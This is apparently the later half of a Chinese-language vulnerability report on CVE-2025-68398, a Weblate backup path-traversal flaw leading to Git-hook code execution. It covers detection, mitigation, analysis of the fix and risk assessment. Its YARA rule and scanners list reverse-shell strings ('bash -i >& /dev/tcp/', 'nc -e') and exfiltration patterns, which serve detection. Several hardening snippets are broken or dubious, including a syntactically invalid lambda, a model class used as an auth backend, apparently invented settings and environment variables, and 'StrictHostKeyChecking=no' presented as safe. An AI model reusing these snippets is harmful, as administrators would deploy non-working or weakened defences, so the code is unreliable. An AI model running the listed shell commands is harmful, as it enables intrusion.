        description = "Detects malicious Git hooks for CVE-2025-68398"
        author = "Security Research Team"
        severity = "critical"

    strings:
        // Shell反弹
        $reverse_shell1 = "bash -i >& /dev/tcp/" ascii
        $reverse_shell2 = "nc -e /bin/bash" ascii
        $reverse_shell3 = "sh -i >& /dev/tcp/" ascii

        // 数据窃取
        $exfil1 = /curl.*-F.*file=@/ ascii
        $exfil2 = /wget.*--post-file/ ascii
        $exfil3 = "tar -czf" ascii

        // 持久化
        $persist1 = "crontab -" ascii
        $persist2 = ".bashrc" ascii
        $persist3 = "/etc/rc.local" ascii

        // Hook标识
        $shebang = "#!/bin/bash" ascii
        $hook_comment = /# .*hook/ ascii nocase

    condition:
        $shebang and
        (
            any of ($reverse_shell*) or
            (any of ($exfil*) and $persist1)
        )
}

使用YARA扫描：

# 扫描上传的备份文件
yara -r cve-2025-68398.yar /var/lib/weblate/backups/

# 扫描解压后的文件
find /var/lib/weblate/data -name "config" -path "*/.git/config" -exec yara cve-2025-68398.yar {} \;

# 扫描可疑的hooks
find /tmp /var/tmp /dev/shm -name "pre-commit" -o -name "post-commit" -exec yara cve-2025-68398.yar {} \;

11. 防护措施

11.1 立即缓解措施

措施1: 紧急升级

# 方法A: pip升级
pip install --upgrade "weblate>=5.15.1"

# 方法B: Docker升级
docker pull weblate/weblate:5.15.1
docker-compose down
docker-compose up -d

# 方法C: 源码升级
cd /path/to/weblate
git fetch origin
git checkout weblate-5.15.1
pip install --upgrade -r requirements.txt
python manage.py migrate
systemctl restart weblate

措施2: 临时禁用备份功能

在升级前临时禁用备份恢复功能：

# weblate/settings.py

# 禁用备份功能
BACKUP_ENABLED = False

# 或限制备份功能访问
from django.contrib.auth.models import User
BACKUP_ALLOWED_USERS = []  # 空列表禁用所有用户

措施3: Git配置文件保护

# 对所有项目的.git/config设置保护
find /var/lib/weblate/data -name "config" -path "*/.git/config" | while read cfg; do
    # 设置只读权限
    chmod 444 "$cfg"

    # 设置不可变属性（需要root权限）
    sudo chattr +i "$cfg"

    echo "[+] Protected: $cfg"
done

注意：这可能影响正常的Git操作，升级后需要解除保护：

# 解除保护
find /var/lib/weblate/data -name "config" -path "*/.git/config" -exec sudo chattr -i {} \;
find /var/lib/weblate/data -name "config" -path "*/.git/config" -exec chmod 644 {} \;

措施4: 审计现有备份

#!/bin/bash
# audit_backups.sh - 审计所有现有备份文件

BACKUP_DIR="/var/lib/weblate/backups"

echo "Auditing backups in $BACKUP_DIR..."

find "$BACKUP_DIR" -type f \( -name "*.tar.gz" -o -name "*.zip" \) | while read backup; do
    echo ""
    echo "=== Checking: $backup ==="

    # 列出压缩包内容
    if [[ "$backup" == *.tar.gz ]]; then
        contents=$(tar -tzf "$backup")
    elif [[ "$backup" == *.zip ]]; then
        contents=$(unzip -l "$backup")
    fi

    # 检查是否包含敏感路径
    if echo "$contents" | grep -qE "\.git/|\.svn/|\.hg/"; then
        echo "[WARNING] Suspicious backup detected!"
        echo "Contains version control files:"
        echo "$contents" | grep -E "\.git/|\.svn/|\.hg/"

        # 标记为可疑
        mv "$backup" "$backup.SUSPICIOUS"
        echo "[ACTION] Renamed to: $backup.SUSPICIOUS"
    else
        echo "[OK] Backup appears safe"
    fi
done

echo ""
echo "Audit complete."

11.2 访问控制加固

网络层隔离

# iptables规则 - 仅允许特定IP访问管理界面
iptables -A INPUT -p tcp --dport 8080 -s 192.168.1.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -j DROP

# 使用nginx反向代理实现IP白名单
# /etc/nginx/sites-available/weblate
server {
    listen 443 ssl;
    server_name weblate.example.com;

    # 管理界面IP限制
    location /admin/ {
        allow 192.168.1.0/24;  # 内网
        allow 203.0.113.50;     # 管理员VPN出口IP
        deny all;

        proxy_pass http://127.0.0.1:8080;
    }

    # 普通翻译界面对外开放
    location / {
        proxy_pass http://127.0.0.1:8080;
    }
}

应用层权限控制

# weblate/settings.py

# 启用严格的权限检查
STRICT_PERMISSION_CHECKS = True

# 限制备份功能仅超级管理员可用
BACKUP_ADMIN_ONLY = True

# 启用双因素认证
AUTHENTICATION_BACKENDS = [
    'django_otp.plugins.otp_totp.models.TOTPDevice',
    'django.contrib.auth.backends.ModelBackend',
]

# 强制管理员使用2FA
from django.contrib.admin.sites import AdminSite
AdminSite.login = lambda self, request, extra_context=None: \
    # 自定义登录逻辑，要求2FA

11.3 深度防御措施

容器安全加固

# Kubernetes Pod Security Context
apiVersion: v1
kind: Pod
metadata:
  name: weblate
spec:
  securityContext:
    # 以非root用户运行
    runAsNonRoot: true
    runAsUser: 1000
    runAsGroup: 1000
    fsGroup: 1000

    # 只读根文件系统
    readOnlyRootFilesystem: true

    # 禁用特权提升
    allowPrivilegeEscalation: false

    # 丢弃所有capabilities
    capabilities:
      drop:
        - ALL
      add:
        - NET_BIND_SERVICE  # 仅保留必要的权限

  containers:
  - name: weblate
    image: weblate/weblate:5.15.1

    # 限制资源使用
    resources:
      limits:
        cpu: "2"
        memory: "4Gi"
      requests:
        cpu: "500m"
        memory: "1Gi"

    # 挂载临时目录为noexec
    volumeMounts:
    - name: tmp
      mountPath: /tmp
      readOnly: false

  volumes:
  - name: tmp
    emptyDir:
      sizeLimit: 1Gi
      medium: Memory  # 使用内存文件系统，重启后自动清理

AppArmor/SELinux策略

AppArmor配置（/etc/apparmor.d/usr.local.bin.weblate）:

#include <tunables/global>

/usr/local/bin/weblate {
  #include <abstractions/base>
  #include <abstractions/python>

  # 允许读取配置
  /etc/weblate/** r,
  /var/lib/weblate/data/** rw,

  # 禁止写入敏感目录
  deny /var/lib/weblate/data/**/.git/config w,
  deny /var/lib/weblate/data/**/.git/hooks/** w,

  # 允许执行Git
  /usr/bin/git ix,

  # 禁止执行/tmp中的文件
  deny /tmp/** x,
  deny /var/tmp/** x,
  deny /dev/shm/** x,
}

启用：

apparmor_parser -r /etc/apparmor.d/usr.local.bin.weblate
aa-enforce /usr/local/bin/weblate

文件系统监控和自动响应

#!/usr/bin/env python3
# git_config_guardian.py - Git配置守护进程

import os
import time
import hashlib
import logging
from pathlib import Path
from watchdog.observers import Observer
from watchdog.events import FileSystemEventHandler

logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)

class GitConfigGuardian(FileSystemEventHandler):
    def __init__(self, data_dir):
        self.data_dir = Path(data_dir)
        self.known_hashes = {}
        self.initialize_hashes()

    def initialize_hashes(self):
        """初始化已知Git配置文件的哈希值"""
        for config_file in self.data_dir.rglob(".git/config"):
            if config_file.is_file():
                hash_value = self.calculate_hash(config_file)
                self.known_hashes[str(config_file)] = hash_value
                logger.info(f"Registered: {config_file}")

    def calculate_hash(self, file_path):
        """计算文件SHA256哈希"""
        sha256 = hashlib.sha256()
        with open(file_path, 'rb') as f:
            for block in iter(lambda: f.read(4096), b''):
                sha256.update(block)
        return sha256.hexdigest()

    def on_modified(self, event):
        if event.is_directory:
            return

        if event.src_path.endswith(".git/config"):
            self.check_git_config(event.src_path)

    def on_created(self, event):
        if event.is_directory:
            return

        if event.src_path.endswith(".git/config"):
            logger.warning(f"New git config created: {event.src_path}")
            self.check_git_config(event.src_path)

    def check_git_config(self, config_path):
        """检查Git配置文件是否包含恶意内容"""
        logger.info(f"Checking: {config_path}")

        # 计算新哈希
        new_hash = self.calculate_hash(config_path)
        old_hash = self.known_hashes.get(config_path)

        if old_hash and new_hash != old_hash:
            logger.warning(f"Git config modified: {config_path}")

            # 读取文件内容检查危险配置
            with open(config_path, 'r') as f:
                content = f.read()

            dangerous_patterns = [
                'hooksPath',
                'sshCommand',
                'core.editor',
                '/tmp/',
                '/var/tmp/',
                '/dev/shm/',
            ]

            for pattern in dangerous_patterns:
                if pattern in content:
                    logger.critical(
                        f"ALERT: Dangerous pattern '{pattern}' found in {config_path}"
                    )
                    self.take_action(config_path, content, pattern)
                    return

        # 更新哈希
        self.known_hashes[config_path] = new_hash

    def take_action(self, config_path, content, dangerous_pattern):
        """响应恶意配置文件"""
        # 1. 记录完整内容
        logger.critical(f"Malicious content:\n{content}")

        # 2. 备份恶意文件
        backup_path = f"{config_path}.malicious.{int(time.time())}"
        os.rename(config_path, backup_path)
        logger.info(f"Moved to: {backup_path}")

        # 3. 恢复干净的配置（如果有备份）
        # TODO: 实现配置恢复逻辑

        # 4. 发送告警
        self.send_alert(config_path, dangerous_pattern, content)

        # 5. 可选：停止Weblate服务
        # os.system("systemctl stop weblate")

    def send_alert(self, config_path, pattern, content):
        """发送告警通知"""
        import smtplib
        from email.mime.text import MIMEText

        msg = MIMEText(f"""
CVE-2025-68398 Exploitation Detected!

File: {config_path}
Pattern: {pattern}
Time: {time.ctime()}

Content:
{content}

Action: File has been quarantined.
        """)

        msg['Subject'] = '[CRITICAL] CVE-2025-68398 Exploitation Detected'
        msg['From'] = '[email protected]'
        msg['To'] = '[email protected]'

        try:
            s = smtplib.SMTP('localhost')
            s.send_message(msg)
            s.quit()
            logger.info("Alert email sent")
        except Exception as e:
            logger.error(f"Failed to send alert: {e}")

if __name__ == "__main__":
    WEBLATE_DATA_DIR = "/var/lib/weblate/data"

    event_handler = GitConfigGuardian(WEBLATE_DATA_DIR)
    observer = Observer()
    observer.schedule(event_handler, WEBLATE_DATA_DIR, recursive=True)
    observer.start()

    logger.info(f"Monitoring {WEBLATE_DATA_DIR} for CVE-2025-68398...")

    try:
        while True:
            time.sleep(1)
    except KeyboardInterrupt:
        observer.stop()

    observer.join()

安装依赖并运行：

pip install watchdog
sudo python3 git_config_guardian.py

12. 修复建议

12.1 短期修复（紧急）

优先级1: 立即升级

所有运行Weblate < 5.15.1的实例必须立即升级到5.15.1或更高版本。

验证升级是否成功:

# 检查版本
weblate --version

# 验证补丁是否应用
python3 << EOF
from weblate.utils.validators import validate_filename
from weblate.utils.files import is_excluded

# 测试漏洞路径
try:
    validate_filename(".git/config", check_prohibited=True)
    print("[FAIL] Still vulnerable!")
except Exception as e:
    print(f"[PASS] Patch applied: {e}")

# 测试is_excluded
print(f"is_excluded('.git/config'): {is_excluded('.git/config')}")
EOF

优先级2: 权限审计

# 审计所有具有备份权限的用户
python3 manage.py shell << EOF
from django.contrib.auth.models import User, Permission

backup_perm = Permission.objects.filter(codename__icontains='backup')
users_with_backup = User.objects.filter(
    Q(groups__permissions__in=backup_perm) |
    Q(user_permissions__in=backup_perm) |
    Q(is_superuser=True)
).distinct()

print("Users with backup permissions:")
for user in users_with_backup:
    print(f"  - {user.username} ({user.email}) - Last login: {user.last_login}")
EOF

优先级3: 清除潜在后门

#!/bin/bash
# cleanup_backdoors.sh

echo "Searching for malicious Git configurations..."

# 1. 检查所有.git/config文件
find /var/lib/weblate/data -name "config" -path "*/.git/config" | while read cfg; do
    if grep -q "hooksPath" "$cfg" 2>/dev/null; then
        echo "[ALERT] Custom hooksPath found: $cfg"
        grep "hooksPath" "$cfg"

        # 备份并清理
        cp "$cfg" "$cfg.backup.$(date +%s)"
        sed -i '/hooksPath/d' "$cfg"
        echo "[CLEANED] Removed hooksPath from $cfg"
    fi
done

# 2. 检查常见后门位置
for dir in /tmp /var/tmp /dev/shm; do
    echo "Checking $dir for suspicious hooks..."
    find "$dir" -type f \( -name "*hook*" -o -name "*.sh" \) -mtime -7 -ls
done

# 3. 检查cron jobs
echo "Checking crontabs..."
for user in $(cut -f1 -d: /etc/passwd); do
    crontab -u "$user" -l 2>/dev/null | grep -v "^#" | grep -v "^$" && echo "  User: $user"
done

# 4. 检查进程
echo "Checking for suspicious processes..."
ps auxf | grep -E "bash.*tcp|nc.*-e|/dev/tcp" | grep -v grep

echo "Cleanup complete. Review alerts above."

12.2 中期修复（架构改进）

措施1: 实施输入验证白名单

# weblate/utils/validators.py

import re
from django.core.exceptions import ValidationError

# 定义允许的文件模式
ALLOWED_BACKUP_PATTERNS = [
    r'^translations/.*\.po$',
    r'^locale/.*\.po$',
    r'^.*\.json$',
    r'^.*\.xliff$',
    r'^.*\.strings$',
]

def validate_backup_filename(value: str) -> None:
    """验证备份文件名（白名单模式）"""

    # 首先使用原有的validate_filename
    validate_filename(value, check_prohibited=True)

    # 额外的白名单检查
    if not any(re.match(pattern, value) for pattern in ALLOWED_BACKUP_PATTERNS):
        raise ValidationError(
            f"File type not allowed in backups. "
            f"Only translation files are permitted."
        )

措施2: 沙箱化Git操作

# weblate/vcs/git.py

import subprocess
import tempfile
import os

def execute_git_command_sandboxed(repo_path, command, **kwargs):
    """在沙箱环境中执行Git命令"""

    # 创建临时的干净Git配置
    with tempfile.TemporaryDirectory() as tmpdir:
        clean_config = os.path.join(tmpdir, 'git-config')

        # 写入最小化的安全配置
        with open(clean_config, 'w') as f:
            f.write('[safe]\n')
            f.write(f'    directory = {repo_path}\n')

        # 设置环境变量强制使用我们的配置
        env = os.environ.copy()
        env['GIT_CONFIG_GLOBAL'] = clean_config
        env['GIT_CONFIG_SYSTEM'] = '/dev/null'
        env['GIT_CONFIG_NOSYSTEM'] = '1'

        # 禁用hooks
        env['GIT_HOOKS_PATH'] = '/dev/null'

        # 禁用SSH配置覆盖
        env['GIT_SSH_COMMAND'] = 'ssh -o StrictHostKeyChecking=no'

        # 执行命令
        result = subprocess.run(
            ['git'] + command,
            cwd=repo_path,
            env=env,
            capture_output=True,
            **kwargs
        )

        return result

措施3: 文件上传内容扫描

# weblate/trans/models/backup.py

import tarfile
import zipfile
import tempfile
from pathlib import Path

def scan_backup_contents(backup_file):
    """扫描备份文件内容，检测恶意文件"""

    with tempfile.TemporaryDirectory() as tmpdir:
        # 解压到临时目录
        if backup_file.name.endswith('.tar.gz'):
            with tarfile.open(backup_file, 'r:gz') as tar:
                tar.extractall(tmpdir)
        elif backup_file.name.endswith('.zip'):
            with zipfile.ZipFile(backup_file, 'r') as zip_ref:
                zip_ref.extractall(tmpdir)

        # 扫描所有文件
        malicious_files = []
        for file_path in Path(tmpdir).rglob('*'):
            if file_path.is_file():
                rel_path = file_path.relative_to(tmpdir)

                # 检查路径
                if not is_safe_backup_path(str(rel_path)):
                    malicious_files.append(str(rel_path))
                    continue

                # 检查内容
                if is_malicious_content(file_path):
                    malicious_files.append(str(rel_path))

        return malicious_files

def is_safe_backup_path(path):
    """检查路径是否安全"""
    dangerous_patterns = [
        '.git/', '.svn/', '.hg/', '.bzr/',
        '..', '__pycache__', 'node_modules',
    ]
    return not any(pattern in path for pattern in dangerous_patterns)

def is_malicious_content(file_path):
    """检查文件内容是否包含恶意模式"""
    try:
        with open(file_path, 'r', encoding='utf-8', errors='ignore') as f:
            content = f.read(8192)  # 读取前8KB

            malicious_patterns = [
                'bash -i >&',
                '/dev/tcp/',
                'nc -e',
                'eval(base64',
                'hooksPath',
            ]

            return any(pattern in content for pattern in malicious_patterns)
    except:
        return False

12.3 长期修复（安全架构）

架构1: 微服务隔离

将Weblate拆分为独立的微服务：

┌─────────────────┐
│  Web Frontend   │ ← 翻译界面（低权限）
└────────┬────────┘
         │
┌────────▼────────┐
│  API Gateway    │ ← 统一认证和授权
└────────┬────────┘
         │
    ┌────┴────┐
    │         │
┌───▼───┐ ┌──▼───┐
│ Trans │ │ Admin│ ← 管理功能（高权限隔离）
│Service│ │Service│
└───┬───┘ └──┬───┘
    │        │
┌───▼────────▼───┐
│  Git Service   │ ← Git操作专用服务（无网络访问）
└────────────────┘

架构2: 零信任架构

# 实施细粒度的权限控制

from enum import Enum

class Permission(Enum):
    READ_TRANSLATION = "trans.read"
    WRITE_TRANSLATION = "trans.write"
    MANAGE_PROJECT = "project.manage"
    BACKUP_UPLOAD = "backup.upload"
    BACKUP_RESTORE = "backup.restore"  # 最高权限
    SYSTEM_ADMIN = "system.admin"

class PermissionChecker:
    @staticmethod
    def require_permission(permission: Permission):
        def decorator(func):
            def wrapper(request, *args, **kwargs):
                if not has_permission(request.user, permission):
                    raise PermissionDenied(
                        f"User {request.user} lacks {permission.value}"
                    )

                # 记录审计日志
                log_permission_check(
                    user=request.user,
                    permission=permission,
                    resource=kwargs.get('resource_id'),
                    action=func.__name__,
                    ip=request.META.get('REMOTE_ADDR')
                )

                return func(request, *args, **kwargs)
            return wrapper
        return decorator

# 使用示例
@PermissionChecker.require_permission(Permission.BACKUP_RESTORE)
def restore_backup(request, backup_id):
    # 只有明确授予BACKUP_RESTORE权限的用户才能执行
    pass

架构3: 不可变基础设施

使用不可变的容器镜像和文件系统：

# Dockerfile for hardened Weblate

FROM weblate/weblate:5.15.1 AS base

# 创建非root用户
RUN useradd -m -u 1000 weblate

# 安装安全工具
RUN apt-get update && apt-get install -y \
    auditd \
    aide \
    && rm -rf /var/lib/apt/lists/*

FROM base AS runtime

# 切换到非root用户
USER weblate

# 设置只读文件系统（除了必要的目录）
VOLUME ["/app/data", "/tmp"]

# 健康检查
HEALTHCHECK --interval=30s --timeout=10s --start-period=60s \
    CMD curl -f http://localhost:8080/healthz/ || exit 1

CMD ["weblate"]

13. 修复方案分析

13.1 官方修复分析

Weblate团队在5.15.1版本中实施了两个关键修复：

修复1: PR #17330 - 输入验证增强

修改文件:weblate/utils/validators.py

修复前:

def validate_filename(value: str, *, check_prohibited: bool = True) -> None:
    if "../" in value or "..\\" in value:
        raise ValidationError(...)
    if os.path.isabs(value):
        raise ValidationError(...)
    cleaned = cleanup_path(value)
    if value != cleaned:
        raise ValidationError(...)
    # 漏洞: 缺少敏感目录检查

修复后:

def validate_filename(value: str, *, check_prohibited: bool = True) -> None:
    if "../" in value or "..\\" in value:
        raise ValidationError(...)
    if os.path.isabs(value):
        raise ValidationError(...)
    cleaned = cleanup_path(value)
    if value != cleaned:
        raise ValidationError(...)
    # 新增: 敏感目录检查
    if check_prohibited and is_excluded(cleaned):
        raise ValidationError(gettext("The filename contains a prohibited folder."))

分析:

• 简单但有效的修复

• 利用现有的is_excluded函数

• 添加了check_prohibited参数以保持向后兼容性

• 将拒绝包含.git、.svn等目录的所有路径

修复2: PR #17345 - Git命令执行加固

修改文件:weblate/vcs/git.py

修复内容:

# 修复前: 使用GIT_SSH环境变量
env["GIT_SSH"] = ssh_wrapper

# 修复后: 使用GIT_SSH_COMMAND（优先级更高）
env["GIT_SSH_COMMAND"] = ssh_command

分析:

• GIT_SSH_COMMAND的优先级高于.git/config中的配置

• 即使.git/config被篡改，也能确保使用安全的SSH命令

• 提供了额外的防御层次（纵深防御）

13.2 修复有效性评估

强度评估: 高

修复有效地阻止了原始攻击向量：

# 测试修复效果
from weblate.utils.validators import validate_filename
from django.core.exceptions import ValidationError

test_cases = [
    ".git/config",
    ".svn/entries",
    ".hg/hgrc",
    "translations/zh.po",  # 应该通过
]

for path in test_cases:
    try:
        validate_filename(path, check_prohibited=True)
        print(f"[ACCEPTED] {path}")
    except ValidationError as e:
        print(f"[REJECTED] {path}: {e}")

# 输出:
# [REJECTED] .git/config: The filename contains a prohibited folder.
# [REJECTED] .svn/entries: The filename contains a prohibited folder.
# [REJECTED] .hg/hgrc: The filename contains a prohibited folder.
# [ACCEPTED] translations/zh.po

完整性评估: 中

修复解决了已知的攻击向量，但可能存在绕过可能性：

1. 潜在绕过1 - Unicode欺骗:

# 使用Unicode相似字符
".ɡit/config"  # 注意：这里的g是Unicode字符U+0261

建议增强：

def validate_filename(value: str, *, check_prohibited: bool = True) -> None:
    # ... 现有检查 ...

    # 新增: Unicode规范化
    import unicodedata
    normalized = unicodedata.normalize('NFKC', value)
    if normalized != value:
        raise ValidationError("Filename contains non-standard characters")

2. 潜在绕过2 - 大小写混淆（在不区分大小写的文件系统上）:

".GIT/config"  # 在Windows/macOS上可能绕过

建议增强：

def is_excluded(path: str) -> bool:
    # 转换为小写进行比较
    path_lower = path.lower()
    normalized_path = f"/{path_lower}/"

    EXCLUDES_LOWER = [exclude.lower() for exclude in EXCLUDES]
    PATH_EXCLUDES = [f"/{exclude}/" for exclude in EXCLUDES_LOWER]

    return any(exclude in normalized_path for exclude in PATH_EXCLUDES)

13.3 补充修复建议

虽然官方修复是有效的，但建议实施以下补充措施：

建议1: 白名单验证

# 额外的白名单层
ALLOWED_FILE_EXTENSIONS = {'.po', '.pot', '.json', '.xliff', '.strings'}
ALLOWED_DIRECTORIES = {'translations', 'locale', 'i18n'}

def validate_backup_file_whitelist(path: str) -> None:
    """基于白名单的额外验证"""
    path_obj = Path(path)

    # 检查扩展名
    if path_obj.suffix not in ALLOWED_FILE_EXTENSIONS:
        raise ValidationError(
            f"File extension {path_obj.suffix} not allowed in backups"
        )

    # 检查目录
    parts = path_obj.parts
    if parts and parts[0] not in ALLOWED_DIRECTORIES:
        raise ValidationError(
            f"Directory {parts[0]} not allowed in backups"
        )

建议2: 内容深度检查

def scan_backup_archive(archive_path: str) -> List[str]:
    """深度扫描备份压缩包"""
    issues = []

    with tarfile.open(archive_path) as tar:
        for member in tar.getmembers():
            # 检查路径
            if is_dangerous_path(member.name):
                issues.append(f"Dangerous path: {member.name}")

            # 检查符号链接
            if member.issym() or member.islnk():
                issues.append(f"Symbolic link not allowed: {member.name}")

            # 检查权限
            if member.mode & 0o111:  # 可执行位
                issues.append(f"Executable file: {member.name}")

            # 检查文件大小
            if member.size > 10 * 1024 * 1024:  # 10MB
                issues.append(f"File too large: {member.name} ({member.size} bytes)")

    return issues

建议3: 运行时监控

class BackupOperationMonitor:
    """监控备份操作的异常行为"""

    @staticmethod
    def before_restore(user, backup_file):
        """恢复前的检查"""
        # 记录详细的审计日志
        logger.warning(
            f"Backup restore initiated",
            extra={
                'user': user.username,
                'user_id': user.id,
                'ip': get_client_ip(),
                'backup_file': backup_file.name,
                'backup_size': backup_file.size,
                'timestamp': datetime.now().isoformat(),
            }
        )

        # 检查用户最近的活动
        recent_actions = get_recent_user_actions(user, hours=24)
        if is_suspicious_pattern(recent_actions):
            send_alert(f"Suspicious backup restore by {user.username}")
            # 可选: 要求额外验证
            raise PermissionDenied("Additional verification required")

    @staticmethod
    def after_restore(user, backup_file):
        """恢复后的验证"""
        # 扫描所有.git/config文件
        for config_file in Path(settings.DATA_DIR).rglob(".git/config"):
            if has_malicious_content(config_file):
                logger.critical(f"Malicious git config detected: {config_file}")
                quarantine_file(config_file)
                send_critical_alert(...)

14. 风险评估

14.1 技术风险评分

14.2 业务影响评估

直接影响

1. 数据泄露

   • 所有翻译内容（可能包含敏感信息）

   • 源代码和Git历史

   • SSH密钥和API凭证

   • 数据库连接字符串

   财务影响: GDPR罚款可达2000万欧元或全球营业额的4%

2. 系统可用性

   • 服务器被完全控制

   • 可能被用于DDoS攻击

   • 数据可能被加密勒索

   财务影响: 业务中断成本 + 恢复成本

3. 供应链污染

   • 恶意代码注入到下游项目

   • 影响使用这些翻译的所有应用

   • 破坏开源项目信誉

   财务影响: 难以量化，但可能导致长期信任损失

间接影响

1. 合规违规

   • GDPR、SOC2、ISO27001等合规要求

   • 可能导致认证撤销

2. 法律责任

   • 用户数据泄露的法律诉讼

   • 知识产权泄露赔偿

3. 声誉损害

   • 客户流失

   • 市场份额下降

   • 品牌价值贬损

14.3 攻击可能性评估

攻击者画像

类型1: 外部攻击者

• 动机: 经济利益、数据窃取、供应链攻击

• 能力: 中等（需获取管理员凭证）

• 可能性: 中

• 方法: 钓鱼、凭证泄露、暴力破解

类型2: 恶意内部人员

• 动机: 报复、间谍活动、经济利益

• 能力: 高（已有管理员权限）

• 可能性: 低

• 方法: 直接利用

类型3: APT组织

• 动机: 国家支持的网络间谍活动

• 能力: 极高

• 可能性: 低（针对高价值目标）

• 方法: 多阶段攻击，持久化

类型4: 供应链攻击者

• 动机: 污染开源软件生态系统

• 能力: 高

• 可能性: 中

• 方法: 攻击上游翻译平台，影响下游项目

威胁场景概率

14.4 残余风险

即使应用了所有修复措施，仍存在以下残余风险：

1. 零日漏洞

   • 可能存在其他未发现的路径遍历漏洞

   • 其他功能模块的类似问题

2. 配置错误

   • 管理员可能错误配置权限

   • 防护措施可能被意外禁用

3. 社会工程学

   • 攻击者可能通过非技术手段获取权限

   • 内部威胁难以完全防范

4. 依赖项风险

   • 第三方库可能存在漏洞

   • 供应链攻击风险

14.5 风险缓解优先级

P0 - 立即执行（24小时内）:

• 升级到Weblate 5.15.1

• 审计管理员账户

• 启用MFA/2FA

P1 - 紧急执行（1周内）:

• 实施网络隔离

• 部署文件监控

• 审计现有备份文件

P2 - 重要执行（1月内）:

• 实施深度防御措施

• 建立SIEM监控

• 进行渗透测试

P3 - 持续改进:

• 定期安全审计

• 安全培训

• 事件响应演练

15. 总结与建议

15.1 漏洞总结

CVE-2025-68398是Weblate翻译管理平台中的一个严重路径遍历漏洞，CVSS评分为9.1（严重）。该漏洞源于validate_filename函数缺少对版本控制系统敏感目录（如.git）的验证，允许具有管理员权限的攻击者通过精心构造的备份文件覆盖Git配置，进而利用Git hooks机制实现远程代码执行。

关键特征:

• 漏洞类型: 路径遍历（CWE-22）+ 输入验证不当（CWE-20）

• 攻击向量: 网络可达，需要高权限

• 影响范围: 所有Weblate < 5.15.1版本

• 修复状态: 已在5.15.1版本中完全修复

15.2 核心教训

安全设计教训

1. 防御深度不足

   • 单一的输入验证层不够

   • 需要多层安全控制（应用层、系统层、网络层）

2. 黑名单的局限性

   • 仅阻止../不够，需要结合敏感目录过滤

   • 白名单通常比黑名单更安全

3. 高权限功能的安全性

   • 不能因为需要高权限就降低安全标准

   • 内部威胁和权限升级链使高权限功能同样危险

开发实践教训

1. 代码审查盲区

   • 现有的安全函数（is_excluded）未被使用

   • 需要检查安全功能的完整调用链

2. 安全测试覆盖

   • 应包含路径遍历的边界测试

   • 测试用例应覆盖各种绕过技巧

3. 技术债务管理

   • 随着功能演进，安全要求也要同步更新

   • 定期安全审计可以发现累积的问题

15.3 行业影响

该漏洞暴露了开源翻译平台的一个系统性安全问题：

1. 供应链风险

   • 翻译平台处于软件供应链的关键节点

   • 一个漏洞可能影响成百上千的下游项目

2. 开源安全

   • 即使是知名开源项目也可能存在严重漏洞

   • 需要更多的安全审计资源

3. 负责任披露

   • Weblate团队的快速响应值得称赞

   • 建立了良好的安全漏洞处理流程

15.4 最终建议

对Weblate用户

1. 立即升级

   • 所有实例必须升级到5.15.1或更高版本

   • 验证补丁是否正确应用

2. 实施监控

   • 部署文件完整性监控

   • 启用异常行为检测

3. 加强访问控制

   • 审计管理员账户

   • 启用多因素认证

   • 实施IP白名单

4. 定期审计

   • 审计备份文件

   • 检查Git配置

   • 审查访问日志

对开发者

1. 安全编码

   • 永远不要信任用户输入

   • 使用白名单而非黑名单

   • 实施多层验证

2. 测试覆盖

   • 编写路径遍历测试用例

   • 包含边界和异常情况

   • 自动化安全测试

3. 依赖管理

   • 及时更新依赖项

   • 监控安全公告

   • 使用依赖扫描工具

4. 安全意识

   • 参加安全培训

   • 学习常见漏洞类型

   • 进行同行代码审查

对安全研究人员

1. 深入挖掘

   • 不要忽视高权限功能

   • 关注文件操作和VCS集成

   • 考虑攻击链组合

2. 负责任披露

   • 遵循CVD（协调漏洞披露）流程

   • 给予厂商合理的修复时间

   • 提供详细的PoC和修复建议

3. 知识分享

   • 发布详细的分析报告

   • 分享检测和防护方法

   • 教育社区提高安全意识

15.5 未来展望

Weblate和类似平台应该：

1. 增强安全架构

   • 微服务隔离

   • 零信任架构

   • 沙箱执行环境

2. 自动化安全

   • 集成SAST/DAST工具

   • 自动依赖扫描

   • 持续安全监控

3. 安全生态

   • 建立漏洞赏金计划

   • 定期安全审计

   • 安全社区合作

4. 合规与认证

   • 获取安全认证（如SOC2）

   • 遵循行业最佳实践

   • 透明的安全政策

结语

CVE-2025-68398是一个经典的输入验证漏洞案例，它提醒我们：安全不是一次性的任务，而是持续的过程。即使是成熟的开源项目，也可能存在严重的安全漏洞。

关键要点：

• 永远不要信任用户输入，即使是来自高权限用户

• 纵深防御比单点防护更可靠

• 快速响应可以最小化漏洞的影响窗口

• 安全社区协作对于保护生态系统至关重要

对于所有运行Weblate的组织，升级到5.15.1版本是唯一可接受的解决方案。任何缓解措施都只是临时性的，不能替代官方补丁。

最后，感谢Jason Marcello发现并负责任披露了这个漏洞，感谢Weblate团队的快速修复。这个案例展示了开源安全生态系统的最佳实践。

免责声明: 本报告中的所有技术信息仅供安全研究和防御目的使用。未经授权使用这些信息进行攻击是违法行为。作者和发布方不对任何滥用行为负责。

报告完毕